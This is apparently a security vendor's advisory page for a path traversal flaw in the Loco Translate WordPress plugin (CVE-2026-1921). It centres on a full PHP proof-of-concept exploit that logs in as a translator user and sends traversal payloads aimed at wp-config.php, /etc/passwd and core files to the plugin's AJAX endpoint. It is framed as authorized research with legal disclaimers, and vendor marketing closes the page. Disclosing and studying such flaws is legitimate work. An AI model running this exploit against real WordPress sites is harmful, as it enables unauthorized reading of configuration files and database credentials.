 $this->extend('../layout');
-echo $source;
 No newline at end of file
+$this->block('source');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1921 - Loco Translate <= 2.8.2 - Authenticated (Translator+) Path Traversal to Limited File Read via 'ref' Parameter

$target_url = 'http://example.com';  // Change this to the target WordPress URL
$username = 'translator';           // Change this to a Translator-level user
$password = 'password123';          // Change this to the user's password

// Step 1: Authenticate to WordPress
function login($url, $user, $pass) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url . '/wp-login.php',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $user,
            'pwd' => $pass,
            'rememberme' => 'forever',
            'wp-submit' => 'Log In'
        ]),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_HEADER => true,
        CURLOPT_FOLLOWLOCATION => true
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Step 2: Exploit path traversal via fsReference AJAX endpoint
$login_result = login($target_url, $username, $password);

if (!$login_result) {
    die("Failed to authenticate.n");
}

echo "[+] Authentication successful.n";

// Step 3: Read a target file using path traversal
// The target must have an allowed extension: .php, .js, .json, or .twig
// Try reading /etc/passwd via traversal (will fail due to extension check)
// Try reading a sensitive PHP file outside the plugin directory
$payloads = [
    '../../wp-includes/version.php',           // WordPress version info
    '../../wp-config.php',                     // Blocked by basename check
    '../../../../etc/passwd',                  // Should fail extension check
    '../../wp-includes/functions.php',        // Core functions
    '../../wp-content/plugins/loco-translate/loco.php' // Plugin main file
];

foreach ($payloads as $payload) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'fsReference',
            'ref' => $payload,
            'bundle' => 'some-bundle',  // Required for route
            'domain' => 'default'
        ]),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_HEADER => true
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $body = substr($response, $header_size);
    curl_close($ch);
    
    echo "[+] Attempting: $payloadn";
    echo "    HTTP Status: $http_coden";
    if ($http_code == 200) {
        echo "    Response body length: " . strlen($body) . "n";
        // Output first 500 chars
        echo "    Content: " . substr($body, 0, 500) . "nn";
    } else {
        echo "    Error: " . substr($body, 0, 200) . "nn";
    }
}

// Clean up
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School